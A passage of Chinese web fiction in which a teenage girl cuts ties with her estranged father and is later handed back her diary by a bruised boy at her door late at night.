陈小雅爬上后座的儿童座椅,驾驶位的女人回身,似乎是在问她玩儿得开不开心,姐姐对她怎么样,好不好,之类的。 梁月听只是靠在两步远的电线杆旁,看着这合家欢乐的一幕,未置一词。 陈小雅从后座瞥了一眼车外的少女,答道,“挺开心的。” 副驾驶的男人像是松了一口气,这时候才从车上下来,走到路边上,喊,“听听啊。” 梁月听不着痕迹地皱了下眉,没应。 “谢谢你愿意帮忙带小雅,以后有事尽管跟爸爸说啊,爸爸一定帮你。”男人的语速很快,神情举止都很常规,就像无数个虚与委蛇、觥筹交错的饭局上,殷勤客套的话语一样。 就差从衣服内侧的包里给她掏根烟出来了。 “不用了。”梁月听站直了身体,轻声说,“没有下次了。” “什么?”男人问。 梁月听看着他的脸,已经完全和记忆里不一样的脸,凝视了好几秒,重复了一遍,“没有下次了。” “你以后别再找我了。” 她语气平淡,声音也轻,说完这句后,就转身离去,步伐迈得不快不慢,几乎没有情绪。 只留下愣在原地的男人。 还有在长椅上看戏的少年。 男人在原地愣了好几秒,才灰溜溜地上车,面对女人的冷嘲热讽。 “哟,你女儿还摆上架子了,像是我们求她一样。我说你以后也别跟她联系了,都不是一家人了,人家有自己的家了……” 男人顿了半天,点头,连连应道,说好,接着又去逗后座的小女孩儿了。 汽车扬长而去,轻松超过路边行走的女孩,轮胎碾过路边的水洼,溅起水滴,溅到她身上,留下一身狼藉。 林照野坐在那里,看着这一幕,忽地想起梁月听那天晚上站在漆黑的楼梯间里,压着怒气骂他,说我不像你,我甚至没有领地。 少女愠怒的神情仿佛还在眼前,同此刻寂寥的背影结合在一起,像是某种印证。 良久,少年收回视线,很轻地“啧”了声。 - 梁月听回到家时,天已经完全黑了,林照野还没回来。 林海云今天没上班,这会儿家里已经吃过饭了,董淑和看到她回来,连忙张罗着要去热饭,“你说你这孩子,周末也要去疗养院当义工干什么,人家社会实践又没要求你周末也去,何必那么认真呢……” 她没跟董淑和说是要去帮梁国栋带孩子,为了避免腥风血雨、大闹一场,就只说她去疗养院上班了。 “不用热了,我吃过了。” 这会儿梁月听感到一阵疲惫,换了鞋,就往房间里走去。 “你休息吧,不用管我。” “砰”一声,房间门关上,把董淑和错愕的神情和追问关在门外。 “诶你这孩子,这么晚回来,你上哪儿吃了啊…… ” 房间内,梁月听和衣躺在床上,戴上头戴式耳机,将声音开到最大,把一切东西都隔绝在外。 她实在太累了。 不想跟人说话,也不想跟人交流。 就这么躺着,听着耳机里乱七八糟的音乐,盯着天花板出神,竟然不知不觉地睡了过去。 再醒来的时候,已经是后半夜。 耳机已经因为没电关机了,隔着压在耳朵上的隔阂,隐隐约约听见敲门声。 不轻不重,饶有节奏,只响了两三下。 梁月听摘下耳机,从床上起来,理了理身上的衣服,皱着眉问了声,“谁?” 门那边静了几秒,然后传来一个声音。 “开不开?” 吐字缓慢,语调略沉,声音略有些哑,还有点标志性的不耐烦。 林照野。 梁月听眉头皱得更深,看了眼手机上显示凌晨三点半的时间,犹豫了两秒,还是打开了门。 少年一身黑衣,还夹杂着夜风的凛冽,像是刚从外面回来。 他眉眼倦冷,居高临下地看了她一眼,从上到下,似乎又是一场无声的打量。 像极了初见那一天。 梁月听正想骂人,忽地就着客厅窗外透进来的昏暗路灯光,看清他脸颊上的伤口。 嘴角也有青紫,伸出的手骨节分明,关节上却也有尚还新鲜的伤口。 血腥气。 梁月听细眉快拧成一个八字,低声问他,“你干嘛去了?” 林照野不答,只是看着她。 半晌,少年扔给她一个东西,在黑暗中划出抛物线。 梁月听一惊,连忙松开攥住门框的手,手忙脚乱地伸手接住,最后终于落在她怀里。 质感和重量都很熟悉。 甚至连气味都很熟悉。 梁月听顿了片刻,抬头看他。 少年站在门口,神情隐在黑暗里,看不真切。 “果断的人总要有点奖励。” 他这样说。 梁月听缓慢低下头。 ……那是她的日记本。